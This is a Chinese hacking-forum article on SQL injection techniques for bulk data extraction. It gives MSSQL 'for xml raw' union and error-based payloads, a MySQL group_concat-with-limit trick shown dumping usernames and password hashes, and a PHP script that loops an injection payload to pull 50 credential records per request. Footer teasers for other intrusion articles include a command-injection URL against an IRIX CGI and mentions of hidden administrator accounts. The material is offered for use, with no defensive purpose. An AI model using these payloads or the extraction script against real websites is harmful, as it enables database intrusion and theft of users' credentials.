SQL注入中获取数据的一些技巧分析

所属分类: 网络安全 / 黑客入侵 阅读数: 103
收藏 0 赞 0 分享
一、MSSQL获取数据:

用的比较多的就是for xml raw了,MSSQL2000都支持的!

注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:

复制代码
代码如下:
select username from members where 1=2 union select top 3 username from members for xml raw

返回(如果username重复,自动去除重复值):

复制代码
代码如下:

<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)

返回:

复制代码
代码如下:

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.

当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。

二、MYSQL获取数据:

用的比较多的是group_concat,mysql>=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。

因为group_concat有个瓶颈,当group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢?

其实简单变动下SQL语句即可以实现group_concat与limit连用:

复制代码
代码如下:

select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

返回:

guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。

三、给出部分示例代码(mysql group_concat 50条数据每次):

复制代码
代码如下:

<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//发送数据包代码省略
//注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
更多精彩内容其他人还在看

有防火墙网站的入侵过程

一、踩点   ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。   二、注入   从源文件里搜索关键字asp,找到了一个注入点。用nbsi注入,发现是s
收藏 0 赞 0 分享

dcomrpc入侵

需要的工具: 很好的:?radmin.exe 扫描工具: retinarpcdcom.exe 溢出攻击工具:RpcDcom(通用溢出工具) 脚本开启telnet工具:telnet.vbe opentelnet.exe resumetelne
收藏 0 赞 0 分享

攻破雷客图ASP站长安全助手

到Lake2网站上下了1.5的源代码,发现这个版本的确改进了不少,又增加了查杀功能: 1:查杀通过了Unicode编码的ASP木马 2:查杀使用了(Open|Create)TextFile, SaveToFile,Save, set Server,Server.(
收藏 0 赞 0 分享

网页“黑手”如何入侵你的Windows系统

网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。比如,当你收到一封主题为“I Love You”的邮件,兴冲冲的双击附件想欣赏一下这封“情书”的时候,却在无意当中成为了病毒的受害者和传播者;或者在浏览某个网页的时候,浏览器标题栏就变成了类似“
收藏 0 赞 0 分享

环境变量在Hacking中的应用

首先,我们先了解下什么叫环境变量! 环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比
收藏 0 赞 0 分享

一次尝试IRIX的过程(nobody shell)

1、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|ls -la 这就是它的利用方法了。其中ls -la是我们要运行的命令,我不太习惯在web shell里面干活,还
收藏 0 赞 0 分享

三分钟搞定隐藏管理员账号

对regedit.exe大家都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下,但是除了系统用户SYSTEM外,其它用户都
收藏 0 赞 0 分享

高手解析如何入侵3389

工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码: 08US9A95I lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA
收藏 0 赞 0 分享

完整的XSS wrom网站入侵实例示范

XSS wrom网站如何实现入侵?不说废话,且看怎么实现,我先拿SOHU BLOG做示范。   1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,/前是真正的空格),在个人档案处看过滤了哪些。   ’’;
收藏 0 赞 0 分享

谈VBS在Hacking中的作用———SQL Inject中的应用

平常我们遇到有注入漏洞一类的网站大部分人都是用NBSI Or 阿D一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针对性的工具的话,对一些刚入门不久或不会编程的朋友来说,实在是一件很痛苦的事情。
收藏 0 赞 0 分享
查看更多